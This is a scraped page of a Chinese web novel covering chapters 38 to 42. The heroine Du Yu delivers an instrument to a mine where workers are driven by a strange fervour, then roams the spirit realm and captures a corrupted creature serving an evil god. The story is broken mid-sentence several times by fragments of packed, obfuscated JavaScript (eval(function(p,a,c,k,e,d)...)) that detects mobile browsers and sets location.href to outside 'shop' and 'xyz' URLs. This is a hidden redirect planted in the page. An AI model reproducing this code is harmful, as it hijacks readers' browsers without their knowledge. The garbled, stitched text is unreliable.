RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13659894|139734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着西装的光头，在一楼会客室里，见到了一个在屏幕里的穿西装的光头。 屏幕那头的背景似乎在什么遥远的实验室里，时常能看见管道和仪器，一个坐在轮椅上的光头处理完事务，抬头看向对面，都郁先声夺人： “你们绅士会是有什么奇怪传统吗？服装统一就算了，为什么连发型都要统一？” 虽然在蓝格接下任务时就决定不完全配合，但问出这问题不完全是出于捣乱，都郁她是真的好奇。 在第一次看见胡天奎追捕许寻源她们时她就想问了，毕竟一排排锃光瓦亮的光头摆在那里，真的很显眼啊！ “你在胡说什么？！” 身旁的光头怒目而视，光屏里的光头却挥挥手，神情比起被冒犯更多的是感兴趣：“你不是第一个好奇的人，却是第一个敢在我面前问出来的人。” 胡天隆感慨似的笑了笑，却丝毫没有给都郁解惑的打算，视线下移，落到了都郁提着的保险箱上： “虽然你是蓝格派来的人，但保险起见，我们还需要检查一下。阿武，别让这位小姐自己动手。” 都郁看了眼时间，根据公式计算出密钥，在桌子上解开保险箱，耸耸肩退后一步。 保险箱不大，只装了一套和吸尘器很像的奇怪仪器。前端是一个扁平的开口，顺着几根弯曲的管道通向半球形的容器。那容器中间嵌了一个玻璃圆片，圆周刻了一圈数字，圆心却没有指针，而是一座静止的天平。 被叫做阿武的光头上前一步，小心地取出仪器，递到屏幕前，视线像是怕被烫到般不敢看那仪表中心的天平。 胡天隆却直勾勾地盯着那静止的天平看，看了半晌，见那天平没有丝毫移动，胸口溢出一声叹息。 都郁在一旁给他画了个扇形图，这叹息三分遗憾，三分放松，四分求而不得。 胡天隆目光挪到仪器上，仔细地上下打量了几遍，身后一个穿白大褂的人附在他耳朵上说了什么，他这才点点头： “仪器没问题，这件事那边催的痕迹，你先带这位小姐去矿场，运走‘矿石’再安排其他的事。” 阿武点点头，等待光屏熄灭，这才带着都郁走出小楼。离开前，都郁微微抬头，目光不经意地瞥向转到二楼的台阶，她的直觉告诉她，那里藏着什么危险的东西…… “不要拦我！我还能接着挖！放我进去！” 从小楼出来，阿武带着都郁绕了几圈，来到刚刚冒出阵阵黑烟的古怪建筑前。 那建筑不知什么材质，喷涂了灿银色的金属涂层，整体有点像前世古罗马的斗兽场，在不断涌动的灰雾中像一张对着天空的巨嘴。 阿武此时也看到了矿场前的争执，眉肌鼓起，看向矿场守门的光头：“怎么回事？” 39. 天平两端 第三十九章 那光头还没有来得及答话，那被拦在外的女人又尖叫一声，视两人为无物，硬要往大门口里挤，都郁提着的保险箱猛地一震。 她压制住保险箱，扭头看向被压住的女人。 她身形瘦小，脸颊凹瘦，唯有一双黑眼亮得惊人，狂乱地涌动着亢奋的光泽，两个身形壮硕的成年男人按住她的肩膀，甚至都险些压不住她。 她像困兽一样挣扎起来，干枯的短发像被吹散的大朵蒲公英，唰地四散开，她的左臂也随之甩飞。 廉价的义体在地上滚了几圈，女人呆呆地看了几秒，视线似乎成为了传播途径，缠绕在断裂管道上的剧痛穿过她的眼睛，盘踞在肩膀，渗入每一根神经，于是她终于没有力气挣扎了，哀嚎了一声倒下了。 刚刚守门的男人唾了一声，“都说你义体超过了使用时长了，驴一样死犟！” 女人似乎听不到除了自己以外的声音，她在地上翻滚几圈，又挣扎着爬起，鱼目一样暴凸的眼球表面长出血丝，长长地哀嚎一声： “我今天还没挖够数量！我还有一只手，我还能挖！让我进去！马上就够了，马上就够了……” 她的声音到最后越来越低，几近没人能听清的絮语，姗姗来迟的医生带着担架，见怪不怪地让护士给她打了一针镇定剂，抬上担架。 一行人临走前，一个年轻护士像是刚想起了什么，上前捡起女人摔断的义体，低声嘟囔了几句，随手丢到担架上。 “哦，很显然，她是太想工作了。” 阿武耸了耸肩，开玩笑似的解释了一句，但面前的人很没有给他面子，他在面无表情的注视中顿了顿，快速解释了一句： “这矿石采多了会有一些致幻性的小副作用，别担心，我们的医生很擅长处理这些，敢在灰雾里干活的工人也是很难找的。” 蓝格公司派来的神经代表没有反应，好似漠不关心地转过头，等待眼前的守卫打开矿场大门。 矿场用高墙围起，走进去才能发现它大得吓人，有十几个大矿坑，一眼扫过去旷工的数量竟然能超过一千，带着同一颜色的暗黄色安全帽，像一群忙忙碌碌的工蚁。 “这里到底在挖什么？” 都郁看着不远处弓身的矿工突然站起，手里举着什么东西大笑了起来，周围人艳羡地看了他一眼后，挖掘的动作更加急切。 那矿工旁若无人地笑了好几声，在胸口工作服上蹭了蹭，珍惜地将挖出来的石头装入腰间小挎包，又动作急切地挖掘起来。 都郁环视一周，除了几个站在机器车辆强的光头，整个矿场竟然没有一个监工，但工人们的工作热情高的不可想象。 在遇到矿场前的女人时，都郁只以为她身上莫名的狂热是出现了异常，但眼下场内的一千多名矿工，眼中的狂热比刚刚发疯的女人只多不少！ 挖什么矿能挖成这样？恐怕成瘾性药物的效果也不过如此吧？ 光头带着都郁在一个半圆形石凳前停步，闻言呵呵一声：“这个问题不在我们的合作范围里。” 都郁点点头，这个神经病好奇心总是过于旺盛，但这次出乎他意料的是竟然没追问，连他这个知情人员第一次进入矿场时，都被场内诡异的氛围惊了一下。 没管光头的诧异，都郁目光扫了一瞬那些黑色的晶石，他不说，难道自己就没有其他渠道知道吗？ 倒是眼前的石凳…… 都郁皱着眉打量了几眼，这才明白看到它时心里为什么涌出不适，眼前这跟凳子一样的玩意儿，竟然和合成游戏建的祭坛有几分相像！ 只是眼前这个不仅矮了几分，周身还没有那散发着古朴气息的花纹，还有些不伦不类的奇怪构造，硬是让都郁看到的第一眼没发现它和祭坛的相像。 这里为什么会有一个和祭坛相似的建筑？ 都郁现在知道它不是石凳了，但是还没有发现它的用处。 光头看了眼时间，指了指石凳，看向都郁：“开始吧。” 都郁看着眼前还不如她小腿高的石凳，挑了挑眉，什么都没说，从保险箱里取出奇怪一起，半蹲身体，将它平放到面前的石凳上。 仪器刚一接触到石凳，玻璃片后原先纹丝不动的天平开始轻微的摇晃起来。 都郁摸了摸随身口袋里的药剂，直接释放出精神力，注入到眼前平平无奇地仪器里。 她口袋里装着的，正是蓝格公司发的，一瓶能让普通人也能拥有精神力的神奇药剂，不过这药剂起效的时间也只有一周，短时间内还不能服用第二次，算是禁药中的禁药了。 公司舍得发给她，自然是为了让没有觉醒出异能的东识午也能催动这仪器，不过现在站在东识午背后的是都郁，她自然不需要喝这破烂玩意了。 都郁摸着药剂瓶冰冷的表面，精神力刚触及到仪器表面，天平中心发出银光，摇晃得更加剧烈，强烈的吸力陡然袭来！ 都郁早有预料，按照卜曼吟交给自己的使用手册，控制精神力放出特定的频道，仪器传来的吸力停了一瞬，下一秒，吸力翻了超过三倍！ 天杀的蓝格！什么见鬼的使用手册！ 如果站在这里操纵仪器的真是普通人东识午，她被这一下最轻也要搞出个重度脑震荡出来！ 都郁脑内咒骂蓝格的话不断刷屏，她动作也没停，动荡的脑域空间中，一簇簇紫火凭空冒出，原本被牵扯得向外流逝的精神力海顿时平复下来，一簇簇紫火顺着吸力在灵界中蔓延。 不等紫火烧到，那如喂不饱般不断汲取精神力的仪器火烧屁股般，果断切断了精神力联系。吸力消失，紫火在灵界中跳跃几圈，遗憾地回到都郁体内。 那仪器像是活人般，竟然隐隐传出了如释重负的情绪。下一秒，晃动的天平突然停滞，左侧沉下去，托盘里装着一团无形的扭曲之物，右侧翘起，好似托着一个黑洞般，恐怖的吸力从中传出，瞬间蔓延到整座矿场！ 那吸力扩散的一瞬间，周围监工、不远处摆弄仪器的几个光头脸都白了一瞬，都郁毫无所感，若有所思地抬头。 在她的感知中，矿场中弥漫的令她不适的狂热气氛骤然消失，矿工们无所觉地继续挖掘，虽然依旧积极，但已经没有了刚刚好似要献祭一切的狂热劲头。 但狂热气息消失后，更令都郁反感的气息笼罩在矿上上空，如无处不在的灰雾般，蒙在每个人的眼前，萦绕在每一次呼吸中。 都郁有些反感的皱了皱眉，如果说刚刚的反感程度是嫌弃，现在的反感则是厌恶甚至接近 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13671917|139734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 于愤怒。 像是深夜加班终于回到家的社畜，打开门发现屋子被翻得乱七糟八，猫也被放跑了，一抬头正好和小偷对视的怒火中烧感。 只是这愤怒转瞬即逝，没等都郁自己感受就已消失不见，她将疑惑按在心底，注意力回到仪器上。 随着吸力的不断增加，原本稳定的天平又开始摇晃，沉下去的左边缓缓上升，直到天平又变得平衡。 “哐当”一声，天平抖了一下，一粒银灰色的珠子凭空落到右边的托盘中，又滚落到仪器内部，天平两端变得空空如也，高度一致，不再摇晃。 武大伟亲眼看着银色珠子滚落进仪器，这才松了口气，让场内绅士会的人换班，带着都郁出了矿场，来到一间公寓门口。 不比绅士会的成员众多，猫胡子她们走的是小而精的路线，福伦萨码头在她们手上基本没有动过，眼前的公寓楼一看就是绅士会占领后临时修建的，就算如此也比东识午租的廉价公寓好很多。 不仅面积宽敞，功能齐全，冰箱里还装满了不便宜的天然食材，摆出了不得罪蓝格的态度。 都郁拉开冰箱门，屈指弹下一点紫火，细小的火焰瞬间烧遍全屋，确认周围没有任何监控设施，她才从冷冻层取出一只整鸡，泡在水里，面前摆了一根香薰蜡烛。 “哗啦”一声点燃蜡烛，雀跃的紫火跳跃起来，在水盆边缘围了一圈，映照的水面如同一块剔透紫水晶。 在火光的映照下，那只鸡抽搐了几下，身体不断缩小，表皮长出绒羽，被掏空的内里重新长出脏器，胸膛抖动几下，一双鲜红的眼睛悄然睁开。 “咕咕咕！” 一只和普通鸽子没什么两样的鸽子从水盆里飞出，站在一旁的架子上抖了抖水，张开翅膀欢快地盘旋了几圈：“您的伙伴166竭诚为您服务！白鸽快递，使命必达！” 出现在此处的正是本在神国里监工的166，它现在的状态和都郁的很像，不过都郁临时给它捏的容器效果只能说一般。 眼前的鸽子比166本体小了一圈，翅膀也只有一对，但作为能在灵界漫游的神奇生物，此时能帮都郁做不少事。 都郁掏出写好的小纸条，找了个布条绑到166胸口，“你把这封信塞给外面一个鬼鬼祟祟偷看，叫许寻源的人。” 许寻源的“三手魔术”虽然隐蔽性很好，但在一定距离里，都郁能直接利用灵性感知到信徒，166也是如此，所以许寻源的伪装对她毫无作用。 “送完信，你再去找一个人。” 一事不烦二主，都郁一把抓住即将进入灵界的166，将矿场前遇到的女人描述给它，看着它“咕”的一声飞入虚空之中。 都郁看了眼随手扔在沙发，安静地躺在保险箱里的仪器，眼里闪过思索。 蓝格派东识午时完全一副消耗耗材时的表情，只告诉了她如何开启和使用这仪器，其他的，甚至连这东西叫什么都没告诉她。 结合刚刚的表现看，矿场的异常蓝格显然也插了一手，它的目的是什么？ 线索在脑内不断汇集，新的谜团也随之产生，都郁收回放在保险箱上的视线，转身向卧室走去。 猫胡子那边让166去联系了，她还有自己的调查方式——灵界漫游！ 40. 【命运】的羁绊 第四十章 精神力收束到脑域内，灵性反而无比活跃，周遭的一切瞬间褪色，只剩下指尖流淌的一抹亮紫色。 都郁睁开眼，灰色飞蛾一闪而过，好奇地看着床上闭目躺着的女人。 这次灵界漫游和上次不太一样。上次像是游戏改造了她的身体，整个人都进入了灵界，这次她很明显地感知到只有灵性进入了，是这次使用了容器的缘故？ 都郁心念一动，意念穿透墙壁，视线陡然拔高，“看”到的世界像蒙了一层模糊滤镜，唯一清晰的只有大大小小、不同颜色的光点。只不过那些光点被四周朦胧的灰色包围，黯淡到近乎熄灭。 此时大部分人已入睡，光点比较凝实，大多出现在她们的头部，少有几个出现在心脏的位置。 少数几个值夜的绅士会成员中，他们的光点更为模糊，或许称为“光晕”更为贴切，黯淡地聚拢在身体上半身，一时找不到核心。 都郁随机挑了两个幸运儿做实验。睡着的那个，她的视线停留在那超过三秒，熟悉的即将进入深层梦境的感觉浮现出来。 都郁移开视线，发现凝视那些还醒着的人身上的光晕，不会有熟悉的入梦感传来。 倒是注视得久了，那些光晕有的犹豫，有的恐惧，竟隐隐有向都郁臣服的念头，有感知比较灵敏的，此时额头下意识渗出了冷汗。 都郁移开视线，她也不是什么信徒都要的，把这群光头变成信徒，还会暴露她的存在。 不过，凡人的意志在神明面前可真脆弱……一个莫名的念头闪过都郁脑海，自己现在，还和人类是同一个物种吗？ 【您已完成一次跃迁，正在褪去凡人之躯】 系统突然窜了出来，冒出一句没头没尾的话后消失，只留下都郁一个人琢磨“跃迁”这个词的含义。 这个词她在第一次进行灵界漫游时系统就播报过，不过当时的后半句和神无关，而是“你完成了一次【跃迁】，听见了【混沌】的残响”。 自己当时以为，这是第一次进入灵界漫游时产生的影响。现在看来，这【跃迁】背后的含义不只那么简单，那么后半句也要重新考虑了，“【混沌】的残响”又是什么？ 这个世界的所有超凡都能归于九大上位要素，【跃迁】和【混沌】是否和已知的【命运】相同，都是九大上位要素之一？ 那么自己收集的紫火炼化过的尸油，又属于哪一个上位要素？ 都郁突然对这九大上位要素充满了兴趣，游戏所谓的成神，是否就是收集这些上位要素的过程？ “咕~” 鸽子叫打断了都郁的思绪，听完166的汇报，都郁惊讶地挑了挑眉：“你说那个女人正在处于特殊状态，你不能进入她的梦？” 都郁让166去那个女人的梦境，是因为她在矿场时的表现让都郁下意识觉得很不舒服。 这个被绅士会从猫胡子海盗团里抢走的矿场，背后一定有着秘密和阴谋。她有预感，那个举止奇怪的女人一定和那些阴谋有关。 现在连166都说她进不了对方的梦境？ 都郁被挑起了好奇，“看”向166来的方向，口中“咦”了一声。 在灵界漫游状态，她能看见所有睡梦中的人的灵性，但是那个女人的灵体表面，竟然被一层深褐色牢牢包住，连一丝光亮都透露不出来，都郁一打眼险些没发现这女人的灵体。 更奇怪的是，大多数人的灵体在大脑，少部分人的在心脏，眼前这个女人的灵体光球竟然出现在手上，数量也不对，竟然有两个！ 都郁皱起了眉，她还记得166给她讲过的关于灵体的概念。灵魂是肉身和灵体的总和，普通人只能拥有一具肉身，自然也就只有一个灵体，这个女人甚至不是异能者，为什么会有两个灵体？ 都郁心中的疑窦扩大到了极点，她心念一动，灵体已然出现在了女人身边，仔细观摩女人的双手。 这一看，就被她看出了异样，即使颜色一样，每个人的灵体都是独一无二的，都郁看到的第一眼就能看出区别来。 抛开两个灵体球表面生锈般的褐色光芒，这两个灵体中只有一个是属于这具肉身的，但这两个灵体球的结构竟然非常相似！ 相似到都郁仔细看了半晌，才硬是看出几条纹路的区别来。 一具身体内有两个灵体，还可以用一些极端案例来解释，比如上一次她在梦中和佑时抢夺容器，“小然”的身体中两个灵体就短暂地共存了一瞬。 但两个灵体非常相像，这是什么原理？ 肉身相似是因为血缘，灵体相似是因为什么？ “咕~166知道一种情况下，两人的灵体会变得非常相像哦。” 鸽子蹲在都郁肩头，歪着头盯着两个灵体球看了半晌，恍然大悟似地开口： “是【命运】的羁绊！当两个人在一段时间内拥有非常相似的命运时，就会出现这种情况！” 命运……又是【命运】，都郁咀嚼了几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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她沉着脸，试图碰触其中一个，果然和166一样，没有任何反应。 灵体光球上的褐色光芒微微扭动，像是在嘲讽，又像是一个张到最大的巨嘴，舌头紧紧贴在灵体表面，一点一点吞吃着灵体。 古怪的矿场让所有矿工的命运相似，【命运】的羁绊早就了非常相似的灵体，可这些多余的灵体又从何而来？灵体外的阻止自己进入的褐色光芒又是什么东西？ 都郁让166去找码头中类似资料室的地方，自己盯着王耳启健康地和枯瘦身体格格不入的双手，指尖冒出一簇紫火，正准备试试似乎什么都能烧的紫火，目光陡然一厉： “谁在那！” 41. 超越者 第四十一章 随着都郁的冷喝，一根不知何时摸到附近的褐线抖了抖，被她的冷喝吓得掉头就跑，却被早有准备的紫火团团围住，猛地撞入火焰中，被烧得一边尖叫一边退后。 都郁也被这玩意吓了一跳，她刚刚只是察觉到有东西在窥探，下意识喊了一句，没想到这玩意的反应这么大，竟然掉头就跑。 紫火没等她操纵，自发地围了上去。灼烧褐色线片刻后，一股精纯的能量从紫火那端传来，不仅精神力，甚至连灵体都隐隐传来饱胀的感觉。 紫火深处不断传出跃跃欲试和催促的情绪，要不是都郁留着这玩意还有用，她都险些控制不住灵魂深处的饥饿感。 “治安员？财阀的狗什么时候撒尿范围这么广了？” 那褐线在紫火包围圈里扭动着，一边发出被火灼烧般的抽气声，一边精准地抬起“头”，一眼锁定了紫火背后的都郁，陌生的精神力波动了一瞬，都郁竟然直接“听”到了那褐线的质问： “滚回你们的城市，灰雾不归你们管！这可是当初在三月见证的，你回去问问克莉丝汀娜那个老女人，她敢违背三月契约吗？！” 尽管都郁不知道那褐线具体是什么东西，但她在废土杀了十年的堕落种了，还能认不出堕落种的气息？ 只是这堕落种不仅和之前遇到的三头龟那样有神志，还明显背后有组织，知道更多内幕，都郁敏锐地捕捉到了“三月”这个特殊名词。 “克莉丝汀娜？” 都郁冷笑一声，在灵界中一切都是扭曲的，在褐线的感知中那团狂乱的紫色火焰不屑地冒出火星，“她倒是个好人，可惜管不到我。” 褐线语气再不屑，也能从中听到色厉内荏的深深忌惮。尽管根本不认识它说的那个女人，但都郁非常自然地扯了一下她的大旗，紫火骤然收缩，烧的褐线爆发出激烈的惨叫： “我抓你就抓你了，还需要什么理由吗？” “啊啊啊你敢这样对待我，哪里来的野生侵蚀者，睁大你愚昧的眼睛！” 那褐线痛苦地翻滚，知道都郁不是多管闲事的治安员后，它不再忌惮，原本数据线粗细的线段骤然分裂，变成五根细弦，在火焰中微微抖动，靡丽轻柔的粉色音符接连跳出，如喷泉般朝四周倾斜。 粉色音符环绕着五根颤动的弦，隔绝了紫火的灼烧。褐线终于从焚烧灵魂般的痛苦中脱离，五根弦一抖，都郁竟然能从中听出怨恨和歹毒： “去死吧！你该感到荣幸，能由我结束你愚昧的一生！” 舒缓的音乐陡然变得激昂，音符涌出的速度变快，颜色不断加深，最后变成如鲜血般灼烧的红色，不断朝四周的紫火涌去。 都郁克制着紫火冲上去将褐线焚烧的冲动，眼睛微微眯起，紧张地注视着红色音符海冲击紫火的一幕。 她虽然不知道这古怪堕落种的具体等级，但能够拥有理智，就说明即使它是最低级的昏级，也一定是昏级里面最强大的那一批。 都郁手头没有衡量物，现在都不知道祭坛带来的神火到底是什么等级。但既然游戏敢给它命名为“神火”，那用它对付一个堕落种，应该问题不大……？ 都郁注意力高度集中，已经做好了输出大量精神力支援神火的准备—— 只听那红色音符海压过紫火时发出“嗤——”的一声，红色中已不见了紫火身影。 但没等那褐线惊喜，又听见“哗啦”一声，犹如火上浇油般，紫火骤然暴涨数倍，一口吞下粘稠的红色音符海。 音符在火焰中挣扎了几下，原本激昂的音乐如卡带般断断续续，最后发出几声急促难听的噪音后彻底没了动静。 “不可能，这不可能！” 那五根褐弦连继续攻击都忘了，惊骇地震颤了一下，抖落出两个巨大的“？”和“！”，看的都郁没绷住噗嗤笑了出来。 她确实开心，焚烧音符海传来的能量不如烧褐弦本体来的多，但红色音符它量大啊，她巴不得褐弦再攻击几波，都快给她吃饱了。 “不可能，不可能！” 听到都郁的笑声，褐弦整得更厉害，抖落更多的问号和感叹号，它好像被眼前反常识的一幕震得说不出话来，只会不断重复“不可能”三字。 “你明明能听到，为什么你听到我的歌毫无反应？这根本不可能！” 褐弦抖落的问号越发多了起来，它的灵智似乎不高，遇到难以理解的东西就如如电子设施般卡顿起来，似乎紫火吞了它的攻击带来的冲击，都没有都郁不受它乐曲影响带来的冲击大。 都郁瞥了眼面板中正在不断发光的天赋【K·黄金意志】，笑着耸耸肩：“你的歌，挺好听的。至于为什么不起作用，那我就不知道了。” “明明只有神眷者才能免疫我主的召唤，你身上明明没有海洋和新火的气息！” 褐弦更加崩溃，弦身甚至开始抖落出粉色光点，被都郁死死按在原地的紫火见机一把抓住，啃糖豆般啃了个干净。 “我知道了，我知道了！” 褐弦终于停止了崩溃，但下一秒，它似乎又处于更大的崩溃之中，“你和克莉丝汀娜那个老女人一样，都是该死的超越者！该死的，一群得到了神的眷顾，却断然拒绝，傲慢地守着凡人之躯不放的蠢货！” “该死的，城里议会那群蠢猪是怎么做事的，有了一个克莉丝汀娜还不够吗？治安部已经失守，一群吃干饭的，眼皮子底下还能再出一个超越者！”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|13690455|139734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>褐弦大声咒骂，这次抖落的是青筋暴起般的愤怒符号，似乎“超越者”的出现比它被人抓住还令人愤怒，愤怒符号不断地如潮水般冒出。 超越者？这个莫名出现的褐弦真的知道不少秘密消息，连都郁这个看过原著的人，都不知道这个名词的意思。 倒是克莉丝汀娜这个名字，结合褐弦咒骂里涉及的信息，她终于在原著中找到了对应的人物——负责城市治安的治安署总署长，费舍尔署长。 虽然是署长，但她在原著中出场不多，大多充当男女主上演强制play中扫兴的背景板。 都郁能记住这个出场不多的名字，纯属是那一段情节太神经了。 【“我需要一个解释，总裁先生。” 女人穿着最隆重的礼服，左胸挂了十几枚勋章，每一枚都是议会那群家伙钻营取利三十年都得不到的荣耀，然而这位可敬的女士挂上它们的唯一目的，不是肤浅的炫耀，而是无声的反抗。 尽管措辞依旧温和有礼，但这位头发已经银白的费舍尔署长，她冷硬嘴角旁每一道下垂的纹路都写满了抗议。 “不要这么激动，署长大人，我没有挑衅治安署的意思。”边绍言坐在办公桌后，衬衫勾勒出完美的身形，优雅地摇晃着杯中的红酒，注视着猩红液体的眼睛深情又温柔，可他那形状姣好的薄唇吐出的话却无比冷漠： “我亲爱的小鸟逃到了下城区，还拒绝了我的保护，这令我很不高兴。” 他放下酒杯，忧愁地叹了口气，下颚角清晰冷酷的线条像南极中冰封了十年的军刀，“如果不停止每晚治安官在06城区的巡逻，我亲爱的小鸟怎么会发现自己的错误，并知道我的怀抱多么温暖呢？” “这个理由我个人无法接受，议会也不会同意的。” “呵，议会里都是聪明人，最近下城区开采的能源矿越来越少，费舍尔署长不是老是说经费不足，人手不够用吗？取消晚上在06城区的治安巡逻，这样问题就都解决了，三赢的结果，不是吗？” 这位可敬的署长嘴角的弧度越发下沉，可惜那位上城区傲慢的无冕之王此时满腔愤怒，打定心思要让那只小鸟尝够苦头，听不进任何人的劝告。 “抱歉，顾小姐离开后，少爷很久没有笑过了。”老宅的管家带着她离开，朝她鞠了一躬，“您擅长追踪，您将顾小姐带回来，也许少爷他就会改变主意了。” 此时太阳东沉，女人胸口的徽章没有阳光的照射，黯淡得如同生锈的古董。这位老治安官长久地凝重着昏暗夕阳中如同沉睡巨兽盘卧在上城区的边家老宅，压低了帽檐，“我不会牺牲任何一个人，去换取群体的利益”。 夕阳中，这位可敬老治安官的影子被拖得很长。】 42. 狂欢终宴 第四十二章 都郁当时看小说看到这一段，被男主边绍言神经到弃文，可惜在废土里想找一本能看的小说不是那么容易的事。 都郁后来无聊，好奇女主和男主还能做什么妖，又把书捡回来接着看了下去。在之后重温的几次中，都郁连女主和男主之间弱智的争吵都没跳，只有这段想起都会拳头变硬，死活看不下去。 这也是为什么都郁现在才从记忆里翻出这位治安署署长。 都郁按下突然浮现出的回忆，这位费舍尔署长现在不重要，重要的是这根褐线刚刚提到的“超越者”。 在都郁的认知里，异能者根据精神力水平的不同，由强到弱分为A、B、C、D、E五级，这个标准在这里也使用。 但她在意了很久，游戏面板里她前两个的天赋【黄金意志】和【饕餮】都是K级，她问过166这里的“K”代表什么，但没有答案。 抛去神火，她身上最异常、与常人不同的就是这两个K级天赋了，K级就是褐线口中所谓的“超越者”？这“超越”又意味着超越什么？ 都郁正暗中思索，那褐线分出指节长短的短线，试探着丢到紫火中，被火焰烧的龇牙咧嘴时不可置信地大喊： “竟然不是伪神，怎么可能，一位神明手下怎么会有超越者，一位真神怎么会容忍信徒是超越者！” 褐弦崩溃得大喊了一阵，像是它不多的灵智即将崩溃，它突然冷静了下来，以极快的语速祈祷： “灾祸的星星悄悄眨眼，多欲的迷途通向狂欢终宴，粉红的心脏沉沦靡靡之音；我已献上污浊的双耳、堕落的双眼、罪人的嘴唇、麻木的心脏，只为用残缺的身体迎接神国中的天籁！” 灰白的世界泛起涟漪，无形的虚空中投来的遥远的注视，原本被紫火烧得萎靡的褐线陡然精神了起来，耀武扬威地抖了起来，耳边隐隐传来黏腻柔滑的乐声，压得紫火都只能不甘地僵在原地。 都郁听到祈祷词时瞳孔微缩，神名不能重复，那褐线念出的祈祷词很明显地指向邪/神【靡靡音】，可关键是，正是那邪/神的下属让东识午来调查福伦萨码头！ 这算什么，我派人调查我自己？ 都郁脑海中瞬间闪过许多猜测，她甚至想过这会不会是一场阴谋，可今天在灵界漫游抓到这褐线完全是偶然之举……或者这【靡靡音】教会里有两伙对立的势力，福伦萨码头就是她们角逐的舞台？ “哈哈哈哈哈怕了吧！现在求饶我，我只收你一半灵魂作为赔罪！” 那褐线将都郁的沉默看成了惧怕，越发猖狂地大笑起来，耳边柔和甜腻的声音越发清晰，丝丝缕缕地钻入脑海，似乎能引诱出人类压抑在心灵最深处的欲望。 褐线一边说，一边暗地将精神力输出到最大。即使是最靠近神明的她，想要借用神明的力量也是不容易的。 可她精神力输出得都有些过载了，往常即使是上百人都已经变成欲望的奴隶，面前那怪人借用的神火虽然没有之前那么凶，却也没有退却的意思。 这怎么可能？ 她这次是真的心惊了，难道这怪人没有欲望的吗，为什么丝毫不受【勾心曲】的影响？ 褐线莫名有些心惊肉跳了起来——尽管她早已抛弃了那些落后的人类器官，远高于常人的灵感正在疯狂向她示警，她已经打算放弃任务先撤退了，可不知道为什么，这片灵界空间异常坚韧，往日很轻松就开启的时空裂隙，此时才打开了三分之一不到。 先放点狠话拖延时间，等她离开了，哼，超越者是给神最好的祭品，神使大人一定会对这个怪人感兴趣的，到时候……她要将现在受到的痛苦十倍奉还！ 褐线一边思忖，一边顶着脑域的剧痛，加大精神力的输出，终于，她看到对面的怪人总算不是对【勾心曲】无动于衷了—— 只见那怪异紫火构成的人形一部分动了动，看位置像是手臂捂住了肚子，那同样被紫火围绕的脑袋，突然一瞬间勾勒出粗犷五官，嘴角勾起了一个恶意的微笑。 不好！ 尽管不知道她是怎么做到的，褐线顾不得强行撕裂时空裂隙的发誓，下意识就想跑，谁知道那紫火像是吃了兴奋剂一般，燃烧得更加剧烈，竟硬生生吞掉她每一点溢出的灵性，将周围空间封得死死的。 都郁摸着肚子，游戏面板上两个K级天赋互殴一般地交替闪烁，日志栏不时跳出“【理智】-6”、“【理智】＋6”的提示，她面上泛出一丝古怪的笑意，“你成功了，我现在——非常的饿！” 都郁不再压抑紫火，受了本体影响，变得更加贪婪的紫火如饿狼扑食，一把将四根褐弦吞了进去，只剩最后一根险险躲过火焰的捕食，惊骇地抖落大堆乱码。 紫火毫不浪费，连那蕴含着低微灵性的乱码都吞了下去，都郁舔舔嘴角，之前焚烧褐线传递来能量还能让她隐约有饱胀感，现在她的天赋【饕餮】已经被完全调动，这些能量刚一吞下就如石牛入海般，飞速消失。 她刚刚对这褐线说的话全是实话，她的饥饿不掺半点假，都郁现在都不敢将视线挪开，生怕看到点别的能吃的，放松警惕把这褐线放跑了。 “你你你……” 褐线感受着脑域深处传出的剧痛，整个“人”都有些不好了起来，如果说她之前还有演的成分，现在是真的震惊到要崩溃了。 这火焰吞掉她的灵体也就算了，那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“她们挖的其实就是普通的石头，但【天灾】是【命运】的嘲弄，是【心灵】的震颤，是无尽的分裂。 “但经过灰雾的【扭曲】后，在沾染【天灾】气息的环境中呆的时间越久，她们的灵体就会越发‘团结’，再加上欲望的引导，就会让肉身崩溃后灵体短暂地汇聚在一起。” 【天灾】、【命运】、【心灵】还有【扭曲】，能和上位要素【命运】一同被提起，这些很可能也是上位要素。 而且听褐线的讲述，【命运】、【天灾】、【心灵】三者的关系似乎很密切，它们会不会是图鉴上同属于某一类的三个要素？ 都郁心里若有所思，面上冷笑一声，“你别拿那废话敷衍我，难道我还看不出来她们【命运】的相似吗？我是问你，你们收集这么多异样的灵体干什么？” 褐弦被“【命运】的相似”惊得彻底老实了，不敢再有试探的小心思，忍着憋屈回答都郁的问题： 